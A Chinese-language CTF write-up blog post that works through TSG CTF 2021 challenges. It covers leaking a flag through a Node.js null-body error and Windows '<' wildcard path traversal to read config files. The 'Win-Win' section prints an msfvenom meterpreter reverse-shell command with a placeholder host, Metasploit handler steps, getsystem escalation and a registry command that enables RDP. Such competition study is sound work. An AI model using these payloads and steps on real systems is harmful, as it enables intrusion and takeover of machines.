TSG2021+0ctf

前言

战队让加的比赛讨论群一个没少加,题目也是一个都不会,就把一些感觉现阶段可以学懂的题目复现一下试试看

Welcome to TSG CTF!

签到题,签了很多人

const {promises: fs} = require('fs');
const fastify = require('fastify');


const flag = process.env.FLAG || 'DUMMY{DUMMY}';


const app = fastify();
app.get('/', async (_, res) => {
res.type('text/html').send(await fs.readFile('index.html'));
});
app.post('/', (req, res) => {
if (typeof req.body === 'object' && req.body[flag] === true) {
return res.send(`Nice! flag is ${flag}`);
}
return res.send(`You failed...`);
});


app.listen(34705, '0.0.0.0');

关键的代码在

typeof req.body === 'object' && req.body[flag] === true

意思是说,post传入的数据的typeof为object,并且这个数据的[flag]要为true,这里就需要理解一下什么是[flag],比如说flag是abc那么他就是[abc],比如说我传入一个tlif3,那么我就要有一个tlif3[abc]=true,很显然,这是不可能达成的,因为我们根本不知道flag的值为多少,那么这里就有一个小trick
首先typeof 为object的有数组对象,还有一个null,而如果针对null进行寻址的话,就会报错,此时报错就会将flag的值给带出
img

Win-Win

刚刚去看了一下,发现没环境了—于是就把题解说的看一下吧

windows找后台目录

Windows 在搜索文件的时候使用到了FindFirstFile 这一个winapi 函数,该函数到一个文件夹(包括子文件夹) 去搜索指定文件。
利用方法:

我们只要将文件名不可知部分之后的字符用“<”或者“>”代替即可,不过要注意的一点是,只使用一个“<”或者“>”则只能代表一个字符,如果文件名是12345或者更长,这时候请求“1<”或者“1>”都是访问不到文件的,需要“1<<”才能访问到,代表继续往下搜索,有点像Windows的短文件名,这样我们还可以通过这个方式来爆破目录文件了。
img img

可以发现在windows系统下是可以这样进行读取文件的操作,那么这就意味着,我们只需要对首字母进行爆破即可
参考:
https://blog.csdn.net/bylfsj/article/details/102771173

然后寻找配置文件之类的进行读取,
最后再包含xampp的 apache_start.bat文件成功:?win=..\..\t<\apache_start.bat

读取php.ini文件:?win=..\..\t<\php\phpi.ini,发现了路径:C:\THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\

然后session文件上传,但是题目本来说不可以的,所以应该就是非预期解了
然后本地生成msf马

msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=5555 -f exe -o shell.exe

并在服务器进行监听

Use exploit/multi/handler
Set payload windows/meterpreter/reverse_tcp
Set lhost 0.0.0.0
Set lport 5555
Run

使用getsystem进行提权登录界面,因为要截图

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

screenshot没有权限。打开3389端口,修改administrator密码:

即可在桌面上看到flag

RevengePHP

Author

vague huang

Posted on

2021-10-05

Updated on

2021-10-06

Licensed under

Comments